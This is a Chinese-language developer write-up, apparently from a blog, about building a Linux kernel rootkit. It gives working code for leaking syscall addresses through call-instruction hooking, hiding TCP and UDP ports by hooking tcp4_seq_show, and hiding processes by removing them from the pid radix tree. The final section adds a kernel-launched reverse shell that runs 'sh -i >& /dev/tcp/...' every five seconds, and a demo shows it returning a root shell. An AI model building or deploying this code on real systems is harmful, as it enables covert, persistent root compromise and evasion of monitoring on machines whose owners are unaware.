於是,我希望使用在我可以控制的範圍下模擬執行的方式獲得結果。我的方法是這樣的,先去 hook 所有找到的系統呼叫函式,我在這裡把那個替換過去的函式叫做 `evil_func`。在 `evil_func` 中,我可以知道我從哪裡呼叫他的,於是我可以透過解析它的 `call` 指令來找到它原本呼叫的函式地址是什麼。那因為我擁有 syscall handler 的地址,所以我可以利用他來呼叫有特定 syscall number 的系統呼叫,於是就能夠利用 `evil_func` 來獲得它對應的函式地址。
### 找到 `x64_sys_call`
首先實作出 `find_address_up` 這個函式,可以找到向上回傳 `level` 次會到達的地方,這個函式是以 `inline` 的方式插入在函式裡面的,所以不用多計算一層:
```cpp
inline unsigned long find_address_up(int level)
{
if (!level)
return 0;
unsigned long addr;
__asm__ __volatile__("mov %%rbp, %[addr]\n" : [addr] "=r"(addr));
for (int i = 0; i < level - 1; i++)
addr = *(unsigned long *) addr;
addr = *(unsigned long *) (addr + 8);
return addr;
}
```
接下來往上找 7 層,並且對照 `push rbp; mov rbp, rsp;` 的機器碼去尋找函式的開頭:
```cpp
inline void init_x64_sys_call(void)
{
unsigned long addr = find_address_up(7);
while (*(unsigned int *) addr != 0xe5894855)
addr--;
x64_sys_call_addr = addr;
}
```
### 找到所有 syscall
首先是從函式頭開始走,如果遇到開頭是 `0xe8` 的代表他是 `call` 指令,就解析指令得到地址,對它進行 `hook`:
```cpp
if (*(char *) addr == 0xe8) {
unsigned long func = addr + 5 + *(unsigned int *) (addr + 1);
hook_start(func, syscall_stealer, "yee");
addr += 5;
continue;
}
```
接下來使用 `get_instruction_length` 去找到這個指令的長度,然後跳到下一個指令的開頭:
```cpp
size_t len = get_instruction_length(addr);
if (len == 0)
break;
addr += len;
```
這個 `get_instruction_length` 是在 AI 的幫助下生出來的,我做的是一直看 core dump 去看看它撞到了什麼沒有處理到的指令。之後如果有擴充需求可以去改進這個函式,我想現在市面上已經有很多現成的反組譯器了,所以理論上所有情況都有辦法解決:
```cpp
/**
* get_instruction_length - Calculate the length of an x86_64 instruction
* @ip: Pointer to the instruction start
*
* This function analyzes the instruction opcode and prefixes to determine
* the total instruction length. It supports common instructions including
* MOV, CMP, TEST, XOR, JMP, CALL, RET, and conditional jumps.
*
* Return: Number of bytes in the instruction, or 0 if unknown
*/
size_t get_instruction_length(const uint8_t *ip)
{
...
}
```
接下來我會把每個 syscall 都叫一遍去找到地址,`exit_group` 和 `exit` 不去做是因為這兩個系統呼叫是不會回傳的,而且目前想不到什麼狀況會需要 hook 這兩個函式,所以先不去處理它們。我的回傳結果會放在 `regs.ax` 裡面,這是和 `syscall_stealer` 的約定:
```cpp
struct pt_regs regs;
for (int i = 0; i < NR_syscalls; i++) {
if (i == __NR_exit_group || i == __NR_exit)
continue;
((long (*)(struct pt_regs *, unsigned int)) x64_sys_call_addr)(®s,
i);
sys_call_leaks[i] = regs.ax;
}
```
最後是 `syscall_stealer`,這是拿來 hook 系統呼叫函式的邪惡函式,它會做的事情是找到系統呼叫的地址,並且利用 `pt_regs` 結構體進行回傳。找到的方式是先找到它會回傳到哪裡,並且因為 `call` 指令的長度是 5,所以在回傳地址的前 4 個位元組是那個系統呼叫函式相對於回傳地址的偏移量,可以透過這個方法去算出系統呼叫函式的地址:
```cpp
noinline static long syscall_stealer(struct pt_regs *regs)
{
unsigned long addr = find_address_up(1);
addr = *(unsigned int *) (addr - 4) + addr;
regs->ax = addr;
return 0;
}
```
那如果在這之間發生 syscall 怎麼處理呢?原本我的處理方式會是利用傳入的暫存器讓 `syscall_stealer` 去判斷說是否為正常呼叫,如果是正常呼叫就呼叫原本的系統呼叫函式,然而這個方式在多核且系統呼叫頻繁的系統中會出現問題。於是我找到了一個函式 `stop_machine`,它可以保證其他的任務全部暫停,只有它設定的那個 callback 函式在運行,我利用這個函式去進行呼叫。
### demo
我將獲得系統呼叫函式地址的方法包裝成了 `get_syscall` 函式,並且在初始化之後去印出所有的 syscall 地址:
```cpp
static int __init rootkit_init(void)
{
printk(KERN_ALERT "rootkit init\n");
init_x64_sys_call();
stop_machine(init_syscall_table, NULL, NULL);
for (int i = 0; i < NR_syscalls; i++) {
printk("sys_call_table[%d] = 0x%lx\n", i, get_syscall(i));
}
// hide_module();
utils_init();
return 0;
}
```
可以看到結果:
```
[54047.896428] rootkit init
[54047.897143] sys_call_table[0] = 0xffffffffab117690
[54047.897146] sys_call_table[1] = 0xffffffffab117820
[54047.897147] sys_call_table[2] = 0xffffffffab112400
[54047.897149] sys_call_table[3] = 0xffffffffab10e5d0
[54047.897150] sys_call_table[4] = 0xffffffffab11faf0
[54047.897151] sys_call_table[5] = 0xffffffffab11f700
[54047.897152] sys_call_table[6] = 0xffffffffab11fdc0
...
[54047.897663] sys_call_table[457] = 0xffffffffab14bd50
[54047.897664] sys_call_table[458] = 0xffffffffab14b910
[54047.897665] sys_call_table[459] = 0xffffffffab315540
[54047.897666] sys_call_table[460] = 0xffffffffab3154c0
[54047.897667] sys_call_table[461] = 0xffffffffab3156c0
```
總共 461 - 2 個系統呼叫(除了 `exit` 和 `exit_group`)都被我們洩漏出來了。
### 不固定長度呼叫路徑的系統呼叫地址洩漏
在不同版本做實驗的時候發現,在不同版本下,甚至是同版本的不同組態下,呼叫路徑的長度有可能會不同,所以這裡使用了一種方式來找到 `x64_sys_call`,這個方式同時在 `6.11.0`、`6.11.0-26-generic`、`6.14.0` 上成功運行。它是利用 `x64_sys_call` 的特徵,也就是很多 `call` 指令,來分辨出在呼叫路徑上的哪個函式是 `x64_sys_call`。
> commit [f9a58cb](https://github.com/rota1001/ksymless/commit/f9a58cb51312f137120b928f514e70a9a18a9a6d)
## 隱藏網路連線
### 獲取 `seq_operations` 地址
這是一個 [利用 proc_dir_entry 進行資訊洩漏](https://hackmd.io/fTzEHMdxQL67SnorpsWU9A?both#%E5%88%A9%E7%94%A8-proc_dir_entry-%E9%80%B2%E8%A1%8C%E8%B3%87%E8%A8%8A%E6%B4%A9%E6%BC%8F) 的明顯運用,畢竟網路有關的訊息都在 `/proc/net` 底下。然而,實際去做實驗後發現沒那麼單純,依照 `/proc/net` 對應的 `proc_dir_entry` 結構體中的資訊而言,這個目錄底下是空的,於是我去閱讀關於網路的 procfs 實作。
現有的 rootkit 對於隱藏 tcp 連線是對 `tcp4_seq_show` 進行 hook,於是我以此在 linux 核心程式碼中進行搜尋。
在 [`linux/net/ipv4/tcp_ipv4.c`](https://github.com/torvalds/linux/blob/90b83efa6701656e02c86e7df2cb1765ea602d07/net/ipv4/tcp_ipv4.c#L3306) 可以看到 `/proc/net/tcp` 的 `seq_operations` 被定義:
```cpp
static const struct seq_operations tcp4_seq_ops = {
.show = tcp4_seq_show,
.start = tcp_seq_start,
.next = tcp_seq_next,
.stop = tcp_seq_stop,
};
```
同樣繼續往下看,可以看到他是怎麼被註冊的:
```cpp
static int __net_init tcp4_proc_init_net(struct net *net)
{
if (!proc_create_net_data("tcp", 0444, net->proc_net, &tcp4_seq_ops,
sizeof(struct tcp_iter_state), &tcp4_seq_afinfo))
return -ENOMEM;
return 0;
}
```
可以看到他的親代節點是在一個 `net` 結構體中的 `proc_net`。
然後這個函式是一個拿來 init 的 callback 函式,並且使用 `register_pernet_subsys` 註冊:
```cpp
static struct pernet_operations tcp4_net_ops = {
.init = tcp4_proc_init_net,
.exit = tcp4_proc_exit_net,
};
int __init tcp4_proc_init(void)
{
return register_pernet_subsys(&tcp4_net_ops);
}
```
接下來看看哪裡用到了 `pernet_operations` 這個結構體,在 [`linux/net/core/net_namespaces.c`](https://github.com/torvalds/linux/blob/90b83efa6701656e02c86e7df2cb1765ea602d07/net/core/net_namespace.c#L1271) 找到了這個函式:
```cpp
static int __register_pernet_operations(struct list_head *list,
struct pernet_operations *ops)
{
...
if (ops->init || ops->id) {
/* We held write locked pernet_ops_rwsem, and parallel
* setup_net() and cleanup_net() are not possible.
*/
for_each_net(net) {
error = ops_init(ops, net);
if (error)
goto out_undo;
list_add_tail(&net->exit_list, &net_exit_list);
}
}
return 0;
...
}
```
這看函式名稱是一個拿來註冊一個鏈結串列裡的所有東西的函式,看函式內容也符合這樣的猜測。值得注意的是 `for_each_net` 這個巨集,我們看看它怎麼[定義](https://github.com/torvalds/linux/blob/master/include/net/net_namespace.h#L425)的:
```cpp
#define for_each_net(VAR) \
list_for_each_entry(VAR, &net_namespace_list, list)
```
可以看到它是在走訪 `net_namespace_list` 這個鏈結串列,以下畫了一張結構圖:

後來我發現這個鏈結串列是有被 [export](https://github.com/torvalds/linux/blob/90b83efa6701656e02c86e7df2cb1765ea602d07/net/core/net_namespace.c#L38) 的,所以我們能直接使用它。這也等價於我們能直接使用 `for_each_net` 了。
```cpp
EXPORT_SYMBOL_GPL(net_namespace_list);
```
所以我將 `proc_find_by_path` 的實作稍作修改整合進來了:
> commit [1a4f738](https://github.com/rota1001/ksymless/commit/1a4f738ee8b9b6880c294bc6445d094764cd406b)
```cpp
struct proc_dir_entry *proc_find_by_path(const char *path)
{
...
if (!strncmp(pos, "/net", 4)) {
struct net *net;
for_each_net(net)
{
strncpy(buf, path, PATH_MAX);
struct proc_dir_entry *res =
__proc_find_from_fix_point(net->proc_net, pos + 4);
if (res)
return res;
}
return NULL;
}
return __proc_find_from_fix_point(proc_root, pos);
return now;
}
```
我將開頭是 `/proc/net` 的路徑分類處理,從所有 `net` 的 `proc_net` 作為根目錄去搜尋後面的路徑對應到的結構體。
### 隱藏網路連線實作
> commit [ad6c616](https://github.com/rota1001/ksymless/commit/ad6c616c26c3f5e855b8d375fe0cd0d6aa7b15ba)
這裡參考了 [linux_kernel_hacking](https://github.com/xcellerator/linux_kernel_hacking/blob/15304817e912a526ce57336011a1cc71aea953b2/3_RootkitTechniques/3.6_hiding_ports/rootkit.c) 的實作,先去觀察 `tcp4_seq_show` 在 linux 核心中怎麼[實作](https://github.com/torvalds/linux/blob/f66bc387efbee59978e076ce9bf123ac353b389c/net/ipv4/tcp_ipv4.c#L2991)的:
```cpp
static int tcp4_seq_show(struct seq_file *seq, void *v)
{
struct tcp_iter_state *st;
struct sock *sk = v;
seq_setwidth(seq, TMPSZ - 1);
if (v == SEQ_START_TOKEN) {
seq_puts(seq, " sl local_address rem_address st tx_queue "
"rx_queue tr tm->when retrnsmt uid timeout "
"inode");
goto out;
}
st = seq->private;
if (sk->sk_state == TCP_TIME_WAIT)
get_timewait4_sock(v, seq, st->num);
else if (sk->sk_state == TCP_NEW_SYN_RECV)
get_openreq4(v, seq, st->num);
else
get_tcp4_sock(v, seq, st->num);
out:
seq_pad(seq, '\n');
return 0;
}
```
這個函式拿來把資訊放進 `seq` 裡面的,以 `SEQ_START_TOKEN` 標示開頭,除了開頭以外,會把 `v` 這個指標解析成 `sock` 結構體的指標,並依照這個 socket 的狀態來決定要用什麼形式放進 `seq` 裡面。
所以我們要做的事情是解析這個結構體的資訊,判斷有哪些東西要放進去 `seq` 裡面。看了 [linux_kernel_hacking](https://github.com/xcellerator/linux_kernel_hacking/blob/15304817e912a526ce57336011a1cc71aea953b2/3_RootkitTechniques/3.6_hiding_ports/rootkit.c) 的實作之後,知道了 `sock` 其實是一個內嵌在 `inet_sock` 結構體開頭的結構體,在 `inet_sock` 中有更多的資訊,譬如說來源的 port。於是我建了一個黑名單來紀錄一些我希望隱藏的 port,並且在發現這些 port 的時候不往 `seq` 裡面放東西,實際上就是去呼叫原本的函式:
```cpp
static int tcp4_seq_show_evil(struct seq_file *seq, void *v)
{
if (v == SEQ_START_TOKEN)
goto RET;
struct inet_sock *sk = (struct inet_sock *) v;
struct struct_list *node;
read_lock(&port_black_list_lock);
list_for_each_entry (node, &port_black_list, list)
if (htons(node->num) == sk->inet_sport ||
htons(node->num) == sk->inet_dport) {
read_unlock(&port_black_list_lock);
return 0;
}
read_unlock(&port_black_list_lock);
RET:
return CALL_ORIGINAL_FUNC_BY_NAME_RET(
"tcp4_seq_show", int (*)(struct seq_file *, void *), int, seq, v);
}
```
同樣的,udp 的隱藏方法也相似:
> commit [908acd6](https://github.com/rota1001/ksymless/commit/908acd6a49af3aab6445bee9700bb7518b2ad47f)
### demo
#### tcp
首先啟動一個 http server:
```shell
$ python -m http.server 1234
```
一開始使用 `netstat` 看看,發現是看得到的:
```shell
$ netstat -tunel | grep 1234
tcp 0 0 0.0.0.0:1234 0.0.0.0:* LISTEN
```
接下來掛載核心模組:
```shell
$ sudo insmod rootkit.ko
```
再去看一次,發現沒有東西了:
```shell
$ netstat -tunel | grep 1234
```
#### udp
首先啟動一個 udp server:
```shell
$ nc -klu 1234
```
一開始使用 `netstat` 看看,發現是看得到的:
```shell
$ netstat -anu | grep 1234
udp 0 0 0.0.0.0:1234 0.0.0.0:*
```
接下來掛載核心模組:
```shell
$ sudo insmod rootkit.ko
```
再去看一次,發現沒有東西了:
```shell
$ netstat -anu | grep 1234
```
## 核心層級的行程隱藏
現有的 process 隱藏方式多是去對系統呼叫進行 hook 來達成檔案系統層級的 process 隱藏,然而其實是有作法可以做到在核心層級的隱藏的,也就是使得依賴於 `find_pid_ns` 或者相似函式的搜尋方法(據我所知是所有方法)皆無法透過這個 pid number 找到對應的任務。
首先看一下在核心中是怎麼透過 pid number 去找到 process 的,可以發現他是透過 pid hash 去找到一個 `struct pid`
```cpp
struct pid *find_pid_ns(int nr, struct pid_namespace *ns)
{
return idr_find(&ns->idr, nr);
}
```
這個 `struct pid` 裡面會有一個 `tasks` 陣列,可以把各種 type 的 pid number 對應的任務連起來,詳細的討論可以參考 [2025-04-22 討論簡記](/i6ZSoExATqOQMf1EvtNFoA?view#rota1001)

一個小結論是 pid hash 是由 radix tree 去實作的,而我們可以直接從裡面把元素做刪除就能做到 process 的隱藏。而它是可以被正常排程的,因為排程器看的是 `task_struct`,而不是 `pid`。
> commit [2a95184](https://github.com/rota1001/ksymless/commit/2a95184a05fcf0845e3801100b353df165f49c66)
## remote shell
我的 remote shell 的實作是使用 reverse shell,因為這樣被攻擊方就不一定要做 port forwarding,只需要我有一個在外面的 port,他自己連進來就好了。
如果我有很多時間大可以在核心空間中寫一個 shell,這樣的話更隱密,但我想效益不是非常大,這裡想用現成的東西。首先,在核心裡面可以透過 `call_usermodehelper` 去執行使用者空間中的執行檔,並且因為 `bash` 有將網路連線抽象化為檔案,所以可以直接用重導向的方式做出一個 reverse shell。於是,我直接把 `bash` 這個執行檔變成一個字元陣列,並且在執行階段去做寫檔,這樣就在目標機器上生出 `bash` 了。
我這裡讓它每 5 秒就彈一個 shell 出來:
```cpp
void shell_start(void)
{
char *argv[] = {"/bin/evilsh", "-c",
"while true; do sh -i >& /dev/tcp/" SHELL_IP "/" SHELL_PORT
" 0>&1; sleep 5; done",
NULL};
char *envp[] = {"HOME=/", "PATH=/bin:/sbin:/usr/bin", "TERM=xterm", NULL};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
```
接下來我用 vmware 開一台靶機來測試一下,我把 `SHELL_IP` 設成我的 ip,`SHELL_PORT` 用 1234。在 vmware 上面啟動 ubuntu 24.04,並且載入核心模組。接下來在外面使用 `nc` 去做監聽:
```shell
$ nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.120.131 47962
sh: 0: can't access tty; job control turned off
# whoami
root
```
可以發現,我們得到 shell 了
> commit [0749d4e](https://github.com/rota1001/ksymless/commit/0749d4ee75deb7a900f64695e28074a375786835)
>